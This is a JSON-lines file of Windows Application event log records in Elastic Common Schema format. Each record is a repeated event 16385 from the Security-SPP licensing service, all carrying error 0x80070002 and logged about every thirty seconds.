{"@timestamp":1659054126452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173789}}
{"@timestamp":1659054156458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173790}}
{"@timestamp":1659054186466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173791}}
{"@timestamp":1659054216474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173792}}
{"@timestamp":1659054246482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173793}}
{"@timestamp":1659054276489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173794}}
{"@timestamp":1659054306495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173795}}
{"@timestamp":1659054336501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173796}}
{"@timestamp":1659054366509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173797}}
{"@timestamp":1659054396516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173798}}
{"@timestamp":1659054426522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173799}}
{"@timestamp":1659054456528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173800}}
{"@timestamp":1659054486534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173801}}
{"@timestamp":1659054516540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173802}}
{"@timestamp":1659054546547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173803}}
{"@timestamp":1659054576553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173804}}
{"@timestamp":1659054606559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173805}}
{"@timestamp":1659054636566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173806}}
{"@timestamp":1659054666572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173807}}
{"@timestamp":1659054696578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173808}}
{"@timestamp":1659054726584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173809}}
{"@timestamp":1659054756591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173810}}
{"@timestamp":1659054786597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173811}}
{"@timestamp":1659054816603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173812}}
{"@timestamp":1659054846609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173813}}
{"@timestamp":1659054876616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173814}}
{"@timestamp":1659054906622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173815}}
{"@timestamp":1659054936629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173816}}
{"@timestamp":1659054966635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173817}}
{"@timestamp":1659054996642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173818}}
{"@timestamp":1659055026648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173819}}
{"@timestamp":1659055056654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173820}}
{"@timestamp":1659055086660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173821}}
{"@timestamp":1659055116669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173822}}
{"@timestamp":1659055146675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173823}}
{"@timestamp":1659055176682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173824}}
{"@timestamp":1659055206687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173825}}
{"@timestamp":1659055236694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173826}}
{"@timestamp":1659055266700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173827}}
{"@timestamp":1659055296708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173828}}
{"@timestamp":1659055326715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173829}}
{"@timestamp":1659055356723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173830}}
{"@timestamp":1659055386729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173831}}
{"@timestamp":1659055416735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173832}}
{"@timestamp":1659055446743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173833}}
{"@timestamp":1659055476749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173834}}
{"@timestamp":1659055506757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173835}}
{"@timestamp":1659055536763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173836}}
{"@timestamp":1659055566769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173837}}
{"@timestamp":1659055596777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173838}}
{"@timestamp":1659055626785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173839}}
{"@timestamp":1659055656791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173840}}
{"@timestamp":1659055686797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173841}}
{"@timestamp":1659055716804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173842}}
{"@timestamp":1659055746811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173843}}
{"@timestamp":1659055776817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173844}}
{"@timestamp":1659055806824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173845}}
{"@timestamp":1659055836831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173846}}
{"@timestamp":1659055866838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173847}}
{"@timestamp":1659055896845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173848}}
{"@timestamp":1659055926851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173849}}
{"@timestamp":1659055956857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173850}}
{"@timestamp":1659055986865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173851}}
{"@timestamp":1659056016870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173852}}
{"@timestamp":1659056046876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173853}}
{"@timestamp":1659056076883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173854}}
{"@timestamp":1659056106889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173855}}
{"@timestamp":1659056136895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173856}}
{"@timestamp":1659056166901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173857}}
{"@timestamp":1659056196906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173858}}
{"@timestamp":1659056226913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173859}}
{"@timestamp":1659056256919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173860}}
{"@timestamp":1659056286926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173861}}
{"@timestamp":1659056316933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173862}}
{"@timestamp":1659056346939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173863}}
{"@timestamp":1659056376945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173864}}
{"@timestamp":1659056406952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173865}}
{"@timestamp":1659056436957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173866}}
{"@timestamp":1659056466965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173867}}
{"@timestamp":1659056496972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173868}}
{"@timestamp":1659056526978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173869}}
{"@timestamp":1659056556984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173870}}
{"@timestamp":1659056586990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173871}}
{"@timestamp":1659056616996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173872}}
{"@timestamp":1659056647011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173873}}
{"@timestamp":1659056677018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173874}}
{"@timestamp":1659056707023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173875}}
{"@timestamp":1659056737030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173876}}
{"@timestamp":1659056767035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173877}}
{"@timestamp":1659056797041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173878}}
{"@timestamp":1659056827047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173879}}
{"@timestamp":1659056857053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173880}}
{"@timestamp":1659056887060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173881}}
{"@timestamp":1659056917067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173882}}
{"@timestamp":1659056947074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173883}}
{"@timestamp":1659056977081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173884}}
{"@timestamp":1659057007087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173885}}
{"@timestamp":1659057037093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173886}}
{"@timestamp":1659057067099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173887}}
{"@timestamp":1659057097106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173888}}
{"@timestamp":1659057127113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173889}}
{"@timestamp":1659057157119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173890}}
{"@timestamp":1659057187124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173891}}
{"@timestamp":1659057217133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173892}}
{"@timestamp":1659057247140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173893}}
{"@timestamp":1659057277146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173894}}
{"@timestamp":1659057307152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173895}}
{"@timestamp":1659057337158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173896}}
{"@timestamp":1659057367164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173897}}
